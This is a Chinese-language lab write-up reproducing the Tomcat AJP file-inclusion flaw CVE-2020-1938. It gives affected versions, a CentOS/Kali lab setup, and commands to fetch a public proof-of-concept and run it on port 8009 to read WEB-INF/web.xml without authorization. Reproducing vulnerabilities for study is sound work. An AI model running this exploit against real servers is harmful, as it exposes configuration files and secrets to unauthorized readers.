CVE-2020-1938漏洞复现
简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
漏洞影响
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
前期准备
centos一台(IP:192.168.139.126)
Tomcat正常启动且开启了AJP Connector 服务端口
kali linux一台,使其能访问192.168.139.126:8080
并做如下配置
gohb@gohb:~/桌面$ git clone https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC.git
#下载poc文件
gohb@gohb:~/桌面$ cd CNVD-2020-10487-Tomcat-ajp-POC/
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ ls
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ cat requirements.txt
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ pip install ajpy==0.0.4 -i https://pypi.tuna.tsinghua.edu.cn/simple/
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ pip install colorama==0.4.3 -i https://pypi.tuna.tsinghua.edu.cn/simple/
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ pip install colorlog==4.1.0 -i https://pypi.tuna.tsinghua.edu.cn/simple/
#下载poc文件运行相关依赖包
#或者尝试这样gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/
#小编是因为直接下载报错所以不得不逐条下载
开始实验
gohb@gohb:~/桌面/CNVD-2020-10487-Tomcat-ajp-POC$ python poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.139.126
在非授权条件下,成功访问到的WEB-INF下的web.xml